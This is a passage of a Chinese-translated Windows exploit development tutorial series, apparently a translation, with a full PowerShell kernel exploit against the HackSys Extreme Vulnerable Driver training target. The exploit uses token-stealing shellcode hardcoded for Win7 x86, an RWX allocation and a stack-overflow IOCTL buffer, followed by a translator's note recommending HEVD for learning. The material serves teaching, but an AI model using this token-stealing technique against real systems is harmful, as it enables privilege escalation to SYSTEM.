- 第一部分: Introduction to Exploit Development
- 第二部分:Saved Return Pointer Overflows
- 第三部分:Structured Exception Handler (SEH)
- 第四部分:Egg Hunters
- 第五部分:Unicode 0x00410041
- 第六部分:WIN32 shellcode 编写
- 第七部分:返回导向编程(ROP)
- 第八部分:堆喷射第一节【覆写 EIP】
- 第九部分:堆喷射[第二章:UAF]
- 第十部分:内核利用程序之栈溢出
- 第十一部分:内核利用程序之任意位置任意写
- 第十二部分:内核利用程序之空指针引用
- 第十三部分:内核利用程序之未初始化栈变量
- 第十四部分:内核利用程序之整数溢出
- 第十五部分:内核利用程序之 UAF
- 第十六部分:内核利用程序之池溢出
- 第十七部分:内核利用程序之任意位置任意写
- 第十八篇:内核利用程序之 RS2 Bitmap 巫术
- 第十九篇:内核利用程序之 Razer
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大功告成
万事俱备,剩下的就是在内存中的某处分配我们的 shellcode,用它的地址覆盖 EIP。记着该 shellcode 内存应该被标记为 R/W/E。完整的 exploit 如下:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public static class EVD
{
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAlloc(
IntPtr lpAddress,
uint dwSize,
UInt32 flAllocationType,
UInt32 flProtect);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CreateFile(
String lpFileName,
UInt32 dwDesiredAccess,
UInt32 dwShareMode,
IntPtr lpSecurityAttributes,
UInt32 dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("Kernel32.dll", SetLastError = true)]
public static extern bool DeviceIoControl(
IntPtr hDevice,
int IoControlCode,
byte[] InBuffer,
int nInBufferSize,
byte[] OutBuffer,
int nOutBufferSize,
ref int pBytesReturned,
IntPtr Overlapped);
[DllImport("kernel32.dll")]
public static extern uint GetLastError();
}
"@
# Compiled with Keystone-Engine
# Hardcoded offsets for Win7 x86 SP1
$Shellcode = [Byte[]] @(
#---[Setup]
0x60, # pushad
0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
0x8B, 0x40, 0x50, # mov eax, [eax + EPROCESS_OFFSET]
0x89, 0xC1, # mov ecx, eax (Current _EPROCESS structure)
0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
#---[Copy System PID token]
0xBA, 0x04, 0x00, 0x00, 0x00, # mov edx, 4 (SYSTEM PID)
0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
0x2D, 0xB8, 0x00, 0x00, 0x00, # sub eax, FLINK_OFFSET |
0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx |
0x75, 0xED, # jnz ->|
0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
#---[Recover]
0x61, # popad
0x31, 0xC0, # NTSTATUS -> STATUS_SUCCESS :p
0x5D, # pop ebp
0xC2, 0x08, 0x00 # ret 8
)
# Write shellcode to memory
echo "`n[>] Allocating ring0 payload.."
[IntPtr]$Pointer = [EVD]::VirtualAlloc([System.IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Pointer, $Shellcode.Length)
$EIP = [System.BitConverter]::GetBytes($Pointer.ToInt32())
echo "[+] Payload size: $($Shellcode.Length)"
echo "[+] Payload address: $("{0:X8}" -f $Pointer.ToInt32())"
# Get handle to driver
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite,
[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
if ($hDevice -eq -1) {
echo "`n[!] Unable to get driver handle..`n"
Return
} else {
echo "`n[>] Driver information.."
echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
echo "[+] Handle: $hDevice"
}
# HACKSYS_EVD_STACKOVERFLOW IOCTL = 0x222003
#---
$Buffer = [Byte[]](0x41)*0x800 + [Byte[]](0x42)*32 + $EIP
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] IOCTL: 0x222003`n"
[EVD]::DeviceIoControl($hDevice, 0x222003, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero)|Out-null
译者注:我在本地测试时,WinDbg 的输出和作者的不太一样,我是用
!analyze -v
来查看崩溃现场,输出的信息有点冗余,没有原作者的输出信息清爽,所以 windbg 部分的信息与截图保留了原作者的版本。HEVD 是我个人强烈推荐的入门 Windows 内核漏洞 的靶场,实际上内核漏洞并不难掌握,无非就是以下两点:
- 调试起来没有用户态那么方便,双机联调+频繁 BSOD 确实很消磨耐性
- 如果不熟悉 WRK,则容易被内核错综复杂的数据结构绕晕,一时云里雾里
HEVD 从一个简单的内核驱动程序入手,展示了各种常见的漏洞,让新手可以绕开复杂的 Windows 内核,掌握内核漏洞的利用。
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